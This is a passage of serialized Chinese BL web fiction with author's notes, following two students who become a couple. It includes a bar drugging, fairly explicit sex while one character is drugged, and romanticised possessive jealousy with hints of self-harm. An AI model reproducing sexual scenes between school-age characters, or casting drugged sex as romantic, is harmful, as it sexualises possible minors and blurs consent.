“那……那试试?”不知道为什么,他的舌头有些打结,最后几个字甚至轻得像是要飘走了。 但温涟敏锐地捕捉到了他说的每一个字,简直控制不住飞扬的心情,弯起了眼睛,环在薛蕴知腰上的那只手都在颤抖,兴奋到战栗,连说了几个“好”字。 他近距离地看着薛蕴知,手指摸上他眼角那颗泪痣,这么冷淡的人怎么长了这么一颗痣,简直—— 简直太犯规了。温涟忍不住了,偏头去亲他的嘴,想要立马践行“男朋友”这个新的身份。 “等一下!”薛蕴知及时地抬手挡住了自己的嘴,温涟的唇撞在了他的手背上,落了个空的温涟一怔,抬眼看他。 薛蕴知抿着唇,红艳唇肉被挤压着,看着虚空,红着耳朵说:“我还没有准备好……” “好,”温涟轻轻亲了下他的手背,舌轻轻舔了一下,泛起陌生的酥麻的触感,弯起眼,嗓音压抑着沉沉性/欲,“我等你准备好。” …… 突然停电是因为灯泡用久了,坏了。 薛蕴知让温涟打着手电筒,他搬了个凳子踩上去,把灯泡拧了下来。 温涟抬头看着他干净利落的动作,道:“要不等天亮了,我打电话找人来修。” “不用,”薛蕴知言简意赅,把灯泡取下来拆开看了下里面的情况,“应该是灯珠坏了,老毛病了。” 黑色工字背心完美勾勒出他性/感的身材,胳膊上的肌肉紧实又漂亮,这样手里拿着灯泡端详问题的时候显出一种别样的魅力。 他垂眸,抓着灯泡转了几圈,桃花眼看着灯泡都显出几分深情,好像刚才在卫生间的情绪还没完全褪去。 从凳子上利落下来后,他把灯泡放在了桌子上,温涟就亦步亦趋跟着他,像个跟屁虫。 “你去拿个螺丝刀给我,工具箱在床底下。”薛蕴知毫无心理负担地驱使他做事。 温涟把手机固定在一个位置,手电筒的光可以照亮桌子上的区域,他这才去拿螺丝刀。 薛蕴知拿着螺丝刀,把坏了的灯珠弄了下来,再把药片上的锡纸取下来,黏在胶布上粘上去,他认真又严肃地捣鼓。 温涟就安静地坐在旁边看着他弄,眼睛情不自禁地弯起来,即便只是看着他,他就足够开心了。 更别提他一想到两人转变了的身份,就更是克制不住地兴奋。 知知怎么这么厉害。 灯泡被安回了原处,这下亮起来了。薛蕴知修好这个,又进卫生间里,把那个也取了下来。 这是头一回修东西的时候旁边有个人一直陪着他,薛蕴知心里升起一种很奇妙的感觉,这种感觉很好,让他的眼里流露出了一点笑意。 手机突然响了,是有人打来电话。 薛蕴知手里拿着螺丝刀,腾不出手,看向温涟:“你帮我拿下。” 温涟点点头,去卫生间门口的地上捡起他的手机,手机屏幕显示的名字是江明。 这个人是薛蕴知为数不多关系好的朋友…… 温涟眼里闪过一丝晦暗的光。这么晚了,怎么会打电话来? 薛蕴知倒是没想太多,让他点了接通,手机靠在他的耳朵边上。他一边修着灯泡,一边听着电话那头的声音。 “薛哥,江哥他喝醉了,你能来接一下吗?” 仔细去听,还能依稀听出醉鬼在瞎乱唱歌的声音,一个字都没在调上。 温涟也模糊地听见了几个字眼,薛蕴知看不见的位置,他眉眼显出几分阴沉冷气,抓着手机的手用力了几分。 作者有话说: 温温这种阴湿男上位第一步就是打打打 江明·扁扁的版 * 宝宝们,明天要上夹,所以更新从0点挪到晚上十一点 第27章 第27章[VIP] 温涟开车, 薛蕴知坐在副驾驶,靠着窗支着头快要睡着,温涟偏头看着他, 默默把空调的温度又开高了点。 到达酒吧的定位之后,薛蕴知打了个哈欠, 困意缱绻, 他让温涟在车上等他,自己单独下了车。 温涟乖巧地点头,眼睛弯弯的,好似没有一点异议,目送着薛蕴知下车进了那家酒吧, 唇角的笑即刻间消失了,变脸比翻书还快。 脸上面无表情后, 没有转动的浅色眼珠散发着森森冷气, 他手紧抓着方向盘, 触手从他身上分离出去,悄无声息地跟着混进了酒吧内部, 跟上了薛蕴知的脚步。 酒吧里很吵闹, 耳膜都快被震破, 五颜六色的灯照得人心烦意乱, 薛蕴知向来不喜欢这种地方,他眉头轻皱着, 冷着脸,无数人想贴上来都被他一一躲开。 七拐八拐迅速到了那人说的包间里, 推开门, 包间内的人抬眼看向他,坐在最中间、受到众星捧月一样待遇的俨然是费嘉言。 薛蕴知隐隐察觉到了一点不对劲, 但又觉得上次自己说的很清楚了,费嘉言不会再不识趣地找他麻烦了吧。 视线在费嘉言身上停留了不到一秒,他没找到江明的人影,就转向了那个拿江明手机给他打电话的人,淡声问:“江明呢?” 他困得没什么精神,黑发凌乱,显得更加冷淡了。 那个人结巴地说:“江哥他……喝太多了,在厕所里吐。” 说话间,他偷偷瞥了眼坐在中心位置的费嘉言,又迅速收回视线,支支吾吾地说完这一番被交代好的话后,心虚地抬眼去看薛蕴知,担心被他察觉出什么端倪。 薛蕴知眼睛眯了下,审视地看着他,那人紧张得身体都绷直了,背至身后的手发起了抖。 但薛蕴知只是多看了他一眼,眉眼平静淡然,不像是发现了有问题的样子。 薛蕴知抬脚往洗手间里走,包间里的人都把视线聚焦在他的背影,如芒刺背,他忽略了这些视线,一只手揣在兜里,抓着手机,悄无声息地按亮了屏幕,凭借记忆发了消息过去。 打开门,江明果然在里面。 江明吐得全身乏力,按下冲水键后就无力地趴在了马桶上,听见声响抬起了头,脸色煞白,看起来都快哭了。 “你怎么……你怎么来了?”江明脑子一片空白,胃痛到无法思考,完全不知道薛蕴知为什么会出现在这里。 看见江明这样,薛蕴知轻叹了口气,蹲下身把他扶起来。江明就半靠在他身上,疼得蜷着身子,平时飞扬的黄毛都耷拉下来。 等他扶着江明出了洗手间,就看见五个保镖堵在了门前,人高马大地,端端挡住了他的去路。 意料之中。 薛蕴知脸上没有露出半分惊讶的神色,对于目前发生的事情反应平淡到有些不正常了。 江明倒是还在状况外,强撑着抬头,嗓音哑得好像被沙砾磨过似的:“麻烦让一让……” 五个保镖岿然不动,像堵墙一样守在了门前,就好像没听见他的话语。 江明扯出个笑,虚弱地说:“让一……” 薛蕴知出声打断了他,转身,视线投向了最中心的人:“费嘉言。” 江明有点懵地跟着转身,脑袋还疼着。 费嘉言这次身边有了保镖,整个人都昂首挺胸的,有恃无恐,有底气了起来。 “这是第三次。” 薛蕴知隔着桌子看着他,声音冷沉,“我给过你机会了。” 费嘉言不是第一次被他当众下面子了,脸色难看得要命,其他人大气都不敢喘。他眯起眼睛:“是我给过你机会了。” 他长这么大,薛蕴知是唯一一个拒绝他拒绝得这么彻底的人,简直就是在反复踩着他的脸。 薛蕴知侧眸平静地扫了一眼堵在门口的壮汉,那五人也盯着他的动作,只要他有一点不利于雇主的行为,他们就会齐刷刷冲上来。 一个打五个,还是五个身形剽悍、经过专业训练的壮汉,在封闭的房间内,无论是打还是跑,薛蕴知都很难反抗得过。 费嘉言站起了身,脸上挤起了笑,按捺着自己的兴奋,递过来一杯酒:“先喝杯吧。” 江明终于意识到了现在是发生了什么,手按住快要炸掉的脑子,扬起一抹笑,想要帮薛蕴知解围:“我可以……” “轮到你说话了吗?”费嘉言轻蔑地看他一眼,把他当成一个挡路的障碍随意推开,抬手把那杯酒堵到了薛蕴知唇边,笃定他会喝。 江明朝薛蕴知着急地摇头,垂至身侧的手紧握成拳。别喝。绝对有问题! “你这样,未免太卑鄙了。”薛蕴知没有接过,冷冷看着他。 “卑鄙吗?”费嘉言笑眯眯的,并不引以为耻,“喝了这杯,我就让他走。” 江明眉头紧皱,摇头的幅度更大了。 费嘉言回头,看着江明这个时候了还在让薛蕴知拒绝他,冷笑一声,拍了拍手,“啪啪”两声。 守在门口的两个保镖过来,强行压制住剧烈挣扎反抗着的江明,扭着他的胳膊按倒在地上。 “你不喝,”费嘉言慢条斯理的,俨然□□的作风,“我就折断他一只手。” 看着一副小人得志模样的费嘉言,薛蕴知沉默了半晌,接过了他手里的那杯酒,仰头一饮而尽,喉结不住地滚动着吞咽。 辛辣的酒入喉,又顺着喉管流下,经过的地方都烧燎了起来。 薛蕴知本身有胃病,此时又是在饥饿状态,这个酒杯200ml左右大,度数也高,他骤然一口灌下这样一杯酒,刹那间辣得胃都难受起来。 他唇色泛白,额间浸出了点冷汗,他使劲咬了一下唇,牙齿压着的唇肉那一块显出点红。 “把他放了。”他把酒杯搁在了桌上,语气越是淡,那张脸就越是被反衬得艳。 费嘉言露出一个满意的笑,拍了拍手,那两个保镖就松开了钳制江明的手。 江明狼狈地趴在地上,艰难爬了起来,薛蕴知抓住他的手臂,把他拉到了自己身边。 费嘉言慢悠悠地向前迈了一步,距离近了,他这时候才注意到薛蕴知耳朵上有个牙印,脸色立马变了:“你耳朵怎么回事?” 薛蕴知抬手摸了摸自己的耳朵,不明所以。 费嘉言脸色差得出奇,心中怀疑是有人捷足先登了,又气又怒,想要嘲讽质问薛蕴知,话还没说出口,这时门外“砰”的一声巨响,打断了他想说的话。 他看向门外,同时手臂突然被紧紧箍住,比铁拷还要坚硬难以挣脱,他正回头看向薛蕴知,瞳孔骤缩,薛蕴知表情没有一点温度,抓着他的手臂来了个干净利落的过肩摔,人被直接砸在了地上。 保镖呢?保镖呢!! 费嘉言摔得眼冒金星,后脑勺和地板来了个亲密接触,爬都爬不起来。 门被从外面踹开,外面的光泻了进来。乌泱泱进来了一群人。 “别动!” 包间里的人前一秒还在瑟瑟发抖地吃瓜,听见这一声厉喝,下意识地就举起了双手。 薛蕴知摔完人回头,看见进来的警察,脑子也空白了一瞬。直到看见了警察后面的温涟,才有了点实感。 他以为温涟会找保镖过来,做好了等待很久的准备,没想到他直接报警了。 薛蕴知唇角浮现出了一点笑意,但同时升上来的是一种头晕目眩的怪异感觉,好像身体在发烫,疯狂烧灼着他的理智。 温涟快步走上前来,倒了杯温水递到他嘴边,薛蕴知手紧紧抓着他的手臂,潜意识信赖着他,低头小口小口抿着,中和着胸口的那股火气。 “我好像中药了……”薛蕴知的唇贴在温涟耳边,吐气温热暧昧,带着性/感的轻喘。 温涟搂住了他,视线看向了倒在地上直喊疼的费嘉言,眼里闪过一丝可怖杀意,说话却是对着薛蕴知,温和柔软的,低声安抚着:“我知道了。” …… 这边的事交给警察来处理,温涟扶着薛蕴知上了车。当然,同时上车的还有薛蕴知强烈要求带上的江明。 江明满脸懊恼:“我以为只是一次朋友的聚会,我没想到他会用我爸妈的生意作威胁一直灌我酒,更没想到会拿我来威胁你……对不起,真的对不起。” 听见这句“拿我来威胁你”,温涟的眉眼阴沉得可怕,握方向盘的手用力到泛白。 “没事,”薛蕴知冒着汗,努力压制着那股愈烧愈烈的火,竭力维持住正常的嗓音,“如果……不是我,他也不会来找你麻烦。” 温涟的脸更沉了,浅色眼珠盯着前方的道路,浑身散发着一种扭曲的瘆人的冷意。 江明着急地说:“但还是怪我……” “砰!”的一声,江明的声音戛然而止,薛蕴知也朝声响发出的源头看去。 温涟一拳砸在了门上,见车内终于安静了下来,他平静地收回了手,继续开车。 “怎么了?”薛蕴知嗓音沙哑,抬起的眼里浸满淋漓水光。 温涟偏头看向薛蕴知,和他对视,硬是扯出一个笑,努力装作和平常一样:“没事。” 薛蕴知眼睛迟缓地轻眨了下,总觉得他不像是没事的样子,但脑子被烧得思考缓慢,察觉不到异常源于何处。 坐在后座的江明看着窗外后移的街景,终于记起来问上一句:“现在是去哪里?” “回你家……我把地址发给温涟了……”药效开始发作,薛蕴知的脸已经变得通红,只想要把自己蜷缩起来。 江明看了眼时间,没想到这么晚了:“我能在你家里住一晚吗?我可以打地铺……” 温涟突然猛踩了一脚油门,车上的人瞬间感到强烈的推背感,江明条件反射:“我艹!” “到了,”温涟踩下刹车,面无表情地说,“下车吧。” 江明一脸懵,下意识想要探到前排去看眼薛蕴知,温涟伸手挡住了他的视线,隔绝了他向前探的视线,把薛蕴知严实挡住。 “下车吧。”温涟扯出一个笑,眼睛弧度却没有丝毫变化,阴气森森的,让人后颈升起一阵凉意。 江明坐回了后座,莫名感觉这种悚然感有些熟悉,但一时半会儿想不起来。 江明在他的视线逼迫下,抓了抓自己一头黄色卷毛,冥冥之中有种预感让他觉得这人不简单,让薛蕴知和这人单独待在车上,他不太放心。 犹豫之下,他没有立马下车,而是喊了声薛蕴知的名字。 温涟侧眸看着副驾的薛蕴知,白皙的脸通红,红色泪痣灼人极了,漆黑浓密的睫毛轻颤着,俨然药效发作,基本失去了思考的能力。 温涟舌抵了抵牙,眼珠转动,看回江明:“快回家吧。我会照顾好知知的。” 江明皱眉看着他,和他对峙着,迟迟不肯下去。 温涟好心情地笑着:“我现在是以知知男朋友的身份说这句话……” 他嗓音一顿,搭在座椅上的手忽然被一只手抓住了,骨节分明,滚烫的温度。他视线下落,落在那只手上。 江明也终于窥见被坐在副驾挡住的薛蕴知,桃花眼水光潋滟,失去理智的情/欲呼之欲出,下一刻那张红润的唇就贴在了温涟的脖颈。 江明眼睛骤然睁大,心里飞快刷屏着卧槽卧槽卧槽。 温涟的眼神闪烁了下,笑意吟吟地看着江明:“我和知知要……你在这里不合适吧。” 他话说一半,但江明也能懂他的意思了。 车门被打开,江明落荒而逃似的下了车,简直好像后面有什么洪水猛兽在追他似的。 车上只剩下他们两个人,热空调还开着,薛蕴知中药之后理智溃散,额前鼻尖都聚了细小的汗珠,像是晶莹剔透的小珍珠,他把头埋在了温涟脖颈,身体难受得不行。 唯一保持清醒的温涟舔了下唇,状似很尊重他的意愿般,问他:“要去医院吗?” 薛蕴知没有回答,而是遵循本能地去贴紧了他,微微张开的唇发出几声难受的哼声,头发轻轻蹭着他的下巴。 温涟被他喘得头脑也开始发热,心脏跳得飞快,难以压抑眉眼的兴奋愉悦,爽到头皮都发麻。 他的手碰了碰薛蕴知的脸,冰凉的温度让薛蕴知情不自禁地去贴近。 温涟唇角的笑上扬到怪异的弧度,自说自话着:“好吧,那就让我来帮你解决。” 他捧着薛蕴知的脸,对上那双漂亮艳丽的桃花眼,缓缓贴近的唇兴奋到颤抖,对着车内安装的监控,他再次发表了下免责声明。 温声询问道:“知知,我可以亲你吗?” 回应他的是迫不及待撞上来的柔软的唇,温涟弯起眼睛。这次是你主动的哦,清醒之后可不许耍赖。 作者有话说: 下一章依旧0点发~ 宝宝们可以康康我专栏的预收,各种各样的风格都有,喜欢的可以收藏一下下 第28章 第28章[VIP] 车被开到了一个偏僻的角落, 周围不会有人经过。 外面清寂安静,里面却是截然不同的热火朝天,车身摇晃着。 薛蕴知眉头轻拧, 一只手搭在温涟腰上,嘴里咬着他的脖子, 动作有点凶, 眉眼冷戾,却因为水光淋漓的一双眼睛,削减了身上的攻击力。 发丝因重力垂着,不断晃动,汗像雨一样洒着, 连汗都是热烫的。 温涟手按在座椅上,仰着头, 脆弱的脖颈被咬得生疼, 但他却顺从地接受了对方给予的疼痛。 甚至希望他咬的更用力些, 瞳孔闪烁着亢奋的光。 比起薛蕴知,他更像是被药物控制了的那个, 兴奋得要命。手摸到了留在外面的一截, 触碰的一瞬间, 咬着他脖子的那张嘴松开了。 薛蕴知没有预料到他会碰, 倒吸一口冷气,脑子在那刹那一片空白。 几秒后, 他罕见地露出了很懵的神色,不可置信地眨了眨眼睛, 然而药物作用下很快又卷土重来。 “没事的, ”温涟舔了下唇,紧紧贴住了薛蕴知, 他缓了下,唇角漾起笑,对薛蕴知无条件地溺爱,“第一次,已经很厉害了。” 薛蕴知立马伸手捂住他的嘴巴,把他的话堵在掌心,迟来的羞愤席卷了整张脸,皱着鼻子,孩子气地说:“别说了!” 然而孩子气的某人凶起来又是另一副样子了。车身摇晃得更厉害了。 温涟被他捂着口鼻,几近窒息,脸色涨红,浅色瞳孔蓄着水光,双重刺激,求生意识让他想要挣脱开那只手,但他竟然克制了本能,没有做出半点挣扎。 ——好像薛蕴知对他做出任何事他都高兴地全盘接受,并且甘之如饴。 在他坚持不住的前一秒,薛蕴知松开了手,温涟脑子白光闪过,身体下意识做出反应,大口大口地呼吸着新鲜空气,涎水顺着嘴角流出,狼狈得不行,唇角却扬着笑,痴痴地看着面前的人,宛若被给予了莫大的奖赏一般。 半晌,薛蕴知垂眸看着他:“你把车弄得好脏。” 被火灼烧的漆黑眸子逐渐恢复了往常的理智冷静。 温涟觉出了他的动作不如方才急躁,凑近亲他的下颌,哑着嗓子问他:“药效解了?” “嗯。”薛蕴知耳朵还是红透的,中药时候的记忆一一返了上来,直叫人面红耳赤,不知道怎么发展到这一步的。 温涟看出了他在想什么,主动提起这回事:“你中药了,我觉得我有义务帮你解决。” 有哪门子的义务?薛蕴知单边眉挑了下,抿了抿嘴,埋在里面没动了。 温涟缓了一下呼吸,眼睛弯弯的,一副认真又很听他话的样子:“车里有监控的,你不信等会儿回去我调给你看。” “不要……”薛蕴知都记得,不是中了个药就记忆断片了,从上车到现在之间的每一秒他都记得清清楚楚,完全不想再看一遍,他有些别扭地别过头,觉得赧然又尴尬。 温涟问:“还做吗?” 又是这种询问的语气,好像无论薛蕴知给出什么答案,他都可以接受一样,但薛蕴知明显感觉到他夹了下自己,呼吸频率瞬间乱了,肌肉紧绷起来。 薛蕴知气得又咬住他的脖子,然后看着上面自己咬出的几个深深的牙印,眼睫颤了一下,突然有点心虚。 …… 等到天蒙蒙亮了,车内安静了下来,车内一片狼藉,一股糜烂的气味,让人一眼就知道发生了什么。 薛蕴知拿着手机打字。 温涟扬着唇问他:“在做什么?” 看起来只是随口一问,但盯着薛蕴知手机的视线像是快要盯出一个洞来,眉眼氤氲着一股阴沉的湿气。又是和江明吗? 即便刚做完,那样亲密无间地接触过,他仍旧控制不住对薛蕴知身边的人的反感与厌恶。 或者换句话说,封闭空间里他们仅有彼此的亲密接触,对方从没有人见过的情态被自己尽收眼底,呼吸,体温,声音,都助长了他对薛蕴知的黏稠蓬勃的爱意。 这反而加剧了他心底熊熊燃烧的妒火,更想要驱逐任何和薛蕴知关系亲昵的身边人。 除了自己,他无法接受有一天别人也能见到那样的薛蕴知。 薛蕴知不知道他心里在想什么,眉眼严肃又认真,一本正经地说:“在请假。我要回去睡觉。” 说着,他就打了个哈欠,困得眼睛都快要睁不开。 一听这话,温涟眼里的阴云散开,立马又变得高兴起来,他的喜怒哀乐都系在了薛蕴知身上,薛蕴知的一句话就能够掌控他的心绪:“那我们回家。” 简单收拾了下车里的痕迹,看起来没有那么混乱狼藉了,开了换气和窗户,外面的新鲜空气涌了进来,兢兢业业刷新着车里浓重的气味。 薛蕴知关心了下:“你还踩得动吗?” 闻言,温涟只觉得他怎么这么可爱,弯起眼睛:“没事,换了好几个姿势,腿没僵,一直在活动。” 薛蕴知把头迈进了卫衣里,漆黑碎发里露出的一对耳朵红得快要滴血,沉声“哦”了一声,故作淡定。 车平稳地行驶着。 半晌,薛蕴知偏头:“费嘉言的事……会给你造成麻烦吗?” 温涟没有急着回答,而是反问,语气认真:“你给我发消息的时候在想什么?我想听真心话。” 他看到消息的那一刻,心跳声震如擂鼓,唇角勾起的笑越来越大。 第一次,薛蕴知遇到麻烦了给他发消息。第一次!温涟眼睛亮晶晶的,脊背窜上一股酥麻的爽意,直通天灵盖,爽到头皮都在发麻。 “在想——”薛蕴知垂下眸,忽然轻轻笑了一声,不知道话语里有几分真心,“在等你帮我出头。” 话音刚落,温涟眉梢眼角的笑都快飞出来了,显出一种恋爱中的单纯又纯正的开心:“那些都交给我来解决。他以后绝对,再也找不了你麻烦了。” 他咬字清晰用力,像是发誓一般,视线闪过一丝危险的冷芒,他已经想好费嘉言的下场了。 薛蕴知歪了下头,唇角抿起点笑,空气中洋溢着幸福又愉悦的粉红色泡泡。 回到那个狭窄的出租屋,温涟走路的姿势有点不自然,薛蕴知一开始以为是在车上动久了的缘故,过了好一会儿,他不小心摸了下温涟的肚子,肌肉的触感没有了,像是被什么撑了起来,微微鼓着。 他疑惑了一瞬,旋即忽然想到:“你是不是没弄出来?” 温涟眨了眨眼,清俊温雅的一张脸专注认真,似是不解:“没有啊。”他就没有要弄出来的想法。他要和薛蕴知永永远远待在一起不分离的。 薛蕴知:“?” 那张自带忧郁气质的脸,长睫下琥珀色的眸子盛着认真的光:“给你生小宝宝不好吗?” 薛蕴知满脸问号:“嗯??” 他硬拖着温涟进了卫生间里,强硬扯下裤子,垂眸问他:“我来还是你来?” 温涟没说话,只一个劲地看着他,瞳孔里漾着浅淡水光,手捂着被撑起了点的小腹,好像想要凭借可怜的眼神让薛蕴知放弃这个想法。 薛蕴知被他看得都快怀疑自己太凶了,但想了想,还是忍不住吐槽:“你生的出来个鬼啊。” 说完之后,温涟还是用那种眼神看着自己,好像他这是很过分的要求一样,薛蕴知不禁开始怀疑自己的常识,心觉这个世界上连触手都有了,男人怀孕万一不是天方夜谭呢……那更要弄出来了!明天还要上学。 薛蕴知态度强硬,温涟向来很听他的话,依依不舍地把一点点弄了出来,水声哗啦啦响着。 这天发生了太多事,薛蕴知到现在还没有踏实的感觉,非常想来根事后烟,但房间太小不方便通风,家里有了另一个人,于是在嘴里含了根棒棒糖勉强,作为替代品。 过于甜腻的滋味让舌头嘴巴都难受极了,他咔擦咔擦咬碎了,把碎片糖吐出来,只一根白色的塑料棒咬在嘴里。 等到温涟带着一身湿气出来,他才转身,拿毛巾包住了温涟的头,散漫随意地给他擦头发:“洗澡了。” 温涟点头:“嗯。” 这么近的距离,他被薛蕴知身上那股清新雪融般的冷香所包裹,只要一呼吸就能嗅闻到对方的味道,他沉迷地看着薛蕴知,希望时间能够停留在这一刻。 薛蕴知漫不经心给他擦着头发,毛巾把滴落的水珠吸收了,周围空气都是湿润的水汽,他抿了抿唇,突然认真地问:“需不需要吃避/孕/药?” “知知,你怎么这么可爱,”温涟忍不住笑了,满眼都是薛蕴知,“男人怎么生孩子啊?” 薛蕴知:“……” 他也发觉自己问了个多么蠢的问题,闷闷地想,那不都是被他给带偏了吗! 他不服气:“那你刚刚……” “我刚刚是逗你的,”温涟笑着,但好像反应过来了什么,眼底愉悦幸福的笑意一点点褪去,心里焦虑的浓稠躁意涌了上来,“你就这么不想和我有孩子吗?” 一定是因为他不好,知知才会不想要和他发展更进一步的关系。也有可能是因为别人……江明?可能就是江明!薛蕴知身边只有那一个人,肯定是因为他!他要杀了他…… 温涟心里反复念叨着,焦虑自厌的情绪让他想要咬手,靠疼痛来维持冷静,但薛蕴知抱着他,他实在眷恋他拥抱的温度,不舍得推开。 薛蕴知懵逼地歪了下头,用手背探了探他的额头,也没发烧啊,他眨眨眼睛,忍不住唇角弯起露出个笑:“哥哥你高三了,还要我说为什……” 他声音一顿,忽然想起在车上时,看见温涟手臂上一道又一道的划痕,那个时候气氛旖旎,他没多想,但此时冷静下来,那些血痂就显而易见来源于何处了。 “拜托,”薛蕴知唇角带着笑,凑近用额头贴了贴他的额头,看着他的眼睛,“你难道很想被迫留级和我一起高考吗?” 仅仅只是贴额头这么一个简单的动作,温涟的情绪竟然奇异地被安抚到了,杂乱恶劣、带有强烈攻击性的念头一瞬间消失得无影无踪,比任何药都有效。 但温涟还是真心实意地回答:“想。” 薛蕴知站直了身子,在温涟忍不住想要凑近追随那一点温度时,伸手轻弹了下他的额头。并不重,比挠痒还轻的力气。 他笑起来漆黑瞳孔里的冰全部融化,像是一个源源不断散发着耀眼光芒的发光体,让人情不自禁地把目光放在他身上,随口开着玩笑:“我还等着高考状元辅导一下我的学习呢。” 温涟紧紧盯着他的眼睛,郑重点头,好像做出承诺一般:“好。” “我们要考一个学校,知知。” 薛蕴知只当他也是随口一说。 作者有话说: 温温看似是听话小狗其实是偏执狂 小知了也超级犟,负负得正来的 第29章 第29章[VIP] 租的这个房间狭小, 床也小,容纳两个还在长高的成年男性实在有点勉强,但两个人里没有一个人提出异议, 完全接受挤在一张小床上。 天很亮,窗帘被拉上, 挡住了外面的部分明亮光线。 一夜没睡, 薛蕴知眼角眉梢的困意显而易见,近乎沾床就睡着了,眼皮合上,进入了梦乡。 睡在他身边的温涟却睁着眼,安静地看着他的睡颜, 像是怎么也看不够,舍不得闭上眼睛。 过了许久, 他抱住薛蕴知, 和他紧密贴着, 从这个亲昵的姿势中汲取一点安全感,感受着薛蕴知此时是在他身边的, 紊乱的心绪才终于安定了下来, 闭上眼睛。 他的。薛蕴知终于在他身边了。 他可以闻着薛蕴知的味道入睡, 不用再靠着一些死物上残存的气息催眠自己, 骗自己薛蕴知在身边。 天色又逐渐变黑,薛蕴知睡醒了, 睁开眼,他太久没睡这么沉的一觉了, 但意识刚清醒的瞬间, 就感觉身体好像被八爪鱼紧紧地缠绕了起来,拥抱像是某种禁锢, 压得他快要呼吸不上来。 他蓦地睁开眼,面前睁着的眼睛给他带来一种冲击感,瞳孔骤缩。 温涟正睁眼看着他,浅色眼珠动也不动,乍一看还以为是玩具娃娃成了精,彰显出一种强烈的非人感。 但温涟很快眨了下眼睛,眉眼弯弯,夹着嗓子笑着问他:“吓到你了吗?” 他夹着嗓子讲话时,很柔和温润,带着点笑意,又像是在和他开玩笑,瞳孔里清晰倒映着薛蕴知的脸,让被注视着的人油然而生一种满足感。 薛蕴知是真的很吃这套,被他盯着看得眼睫轻轻颤了颤,还没太能适应两人身份的转变,别开视线:“你没睡吗?” “睡了,我也刚醒。”温涟抱着他,腻腻歪歪地想要亲他,却偏头躲开了,唇落了个空,只擦着脸颊掠过,他唇角的笑意一僵。 薛蕴知迅速坐起了身,他耳根红透了,努力绷着严肃认真的脸:“我起床做会儿作业。” 开了台灯,薛蕴知用冷水随意洗了把脸,让自己的脑子清醒了些,然后就坐在了桌子面前,从书包里拿出了作业,认认真真开始做题。 过了会儿,温涟拉开凳子,坐在了他的对面,他也不拿个本子出来,就用手支着头专心看他,视线炙热难以忽视。 但薛蕴知习惯了别人盯着他的视线,如常地在草稿纸上写写画画,没有受到任何影响,把这道大题解完之后,他才分出一点心思给温涟,抬起眼:“你没有作业吗?” 当然有,但是那不重要。温涟只想看他,他眨了眨眼睛,不否定也不肯定,装着听不懂话的样子。 “再盯着我看,你就回床上去。”薛蕴知冷漠地一锤定音。 这句话一出,温涟这下从书包里拿试卷出来了,他不想离他那么那么远,只好强迫着自己静下心来做作业。 两人之间的氛围安静而和谐,脑袋几乎要挨到一起,清浅的呼吸声在房间里交织,笔唰唰地在纸上写着。 薛蕴知沉思的时候会指节,皱着眉头,终于做完最后一道题,他舒出一口气,感觉总算从数学魔爪下解脱了。 温涟问他:“有不会的地方吗?” 薛蕴知抿着嘴巴,看着自己空着的好几个地方,拿着凳子移动到了温涟身边,肩靠着肩,身体上的接触,温涟呼吸下意识缓了一秒。 薛蕴知却没有意识到,满眼都是看着作业题,用铅笔戳了戳纸,想要戳破泄愤一样:“这道,这道,还有这道,我都不会。” “好。”温涟收敛了飞扬的心绪,身体偏向薛蕴知的那侧,左手伸过去牵住了他的右手,表情却是一如常态,拿着铅笔从前往后给薛蕴知讲题,分析思路。 薛蕴知眼睛微微睁大,心脏不规律地跳起来,手上传来的体温很陌生,却很踏实,他手指僵硬地蜷缩了下,回握住了对方的手,生疏又认真地回应着。 比起一个人冷冷清清地待在这间四面透风的屋子里,温涟不由分说地挤进来之后,无论是物理意义上还是精神意义上,这间屋子都温暖了起来, 薛蕴知把心思重新集中于试题上,顺着温涟给出的思路思考他不会的题。 他初中时成绩就名列前茅,崇明一中是重点中学,他能考上这所学校就说明他基础很扎实,也就是高一一整年找了太多兼职想赚学费,完全忽视了学习,到后来就干脆想着摆烂混个文凭。 但现在他觉得不能那样。 他不想再继续过高一时候的生活,想要改变,想要让以后的自己能够幸福一点。 他想上个好大学,就必须要努力。 薛蕴知听得认真,记得也认真,完全能跟上温涟的讲题思路。投入到专注学习当中,他就忘记了 不会的题一一讲完之后,已经是晚上十一点了,如果再不睡,第二天起床又是一轮新的痛苦。 睡觉之前,温涟突然开口,喊了一声:“知知。” “什么?”薛蕴知用脑过量,困得意识模糊了,眼皮快要支撑不住。 温涟看着他,目光安静,伸手摸他的脸:“你……还记得我吗?” 薛蕴知被问得一脸懵,抓住他乱摸的手:“记得?当然记得,我又没有突然撞到脑子,怎么会失忆?” 他开着玩笑,说到最后实在没忍住打了个哈欠,眼尾泛上点亮晶晶的泪花。 “……是啊。” 温涟抱着他睡觉,中间没有一点空隙,贴得紧紧的,触手也缠住了他的小腿小臂。 薛蕴知知道,却没有制止,闭着眼睛,默许了他的行为,眼皮颤着。 但温涟还是觉得不够,他手从睡衣下摆撩了进去,腰腹肌肉一瞬绷紧,他往上摸摸摸,直到摸到朱红小颗粒,他捏了一下,手臂就被攥住了。 薛蕴知呼吸凌乱沉重,半睁着眼睛,困得意识都模糊了,胡乱亲了亲温涟的嘴巴,表示某种安抚:“睡觉了,乖。” 温涟脸热起来,立马乖乖地缩回了手,钻进薛蕴知的怀里,心满意足地闭上眼睛做出睡觉的样子,鼻子贴在薛蕴知锁骨往下的位置,清新的体香钻进他的鼻子里,身上的每一个毛孔都幸福地舒展了。 阖上眼后纤长的睫毛搔着皮肤,痒痒的,像羽毛似的,薛蕴知竟然难以忽视这种痒意,喉结滚动了下,停顿了好一会儿,把手搭在了温涟腰上,回抱住了他。 * 薛蕴知和温涟这天是一起来学校的,并肩走进了校门。 不少人认出了薛蕴知,惊讶于他身边什么时候有了个不认识的人,窃窃私语了好一会儿,才有人认出来旁边这个带着土气眼镜挡住大半张脸、刘海很长、一身阴郁灰扑扑气质的男生是谁。 高三新转来的那个年级第一。 他们什么时候认识的?完全是搭不上边的两个人啊!!在那些人眼里,这简直就跟次元壁破了没什么区别。 薛蕴知我行我素,压根不在意其他人的视线,温涟更是恨不得让所有人都知道他们在一起了。两人并肩走着,时不时偏头说着话,模样亲昵。 昨天薛蕴知请假没来学校,江明隔了一天见到他,对于那天晚上发生的事还有好多想问他的,想像往常一样冲上来,却在看见薛蕴知身边多出来的那个身影时,脚步顿住了。 又是这个人。江明敏锐地察觉到这人对自己怀有莫名的敌意。 难道是因为他和薛蕴知关系好?但他清清白白好直男一个,和前·直男薛蕴知就是好兄弟啊!怎么会看不惯他呢? 那天在车上看见薛蕴知主动亲温涟的他,已经完全接受了以前义正言辞说自己恐同的薛蕴知弯了这一事实。 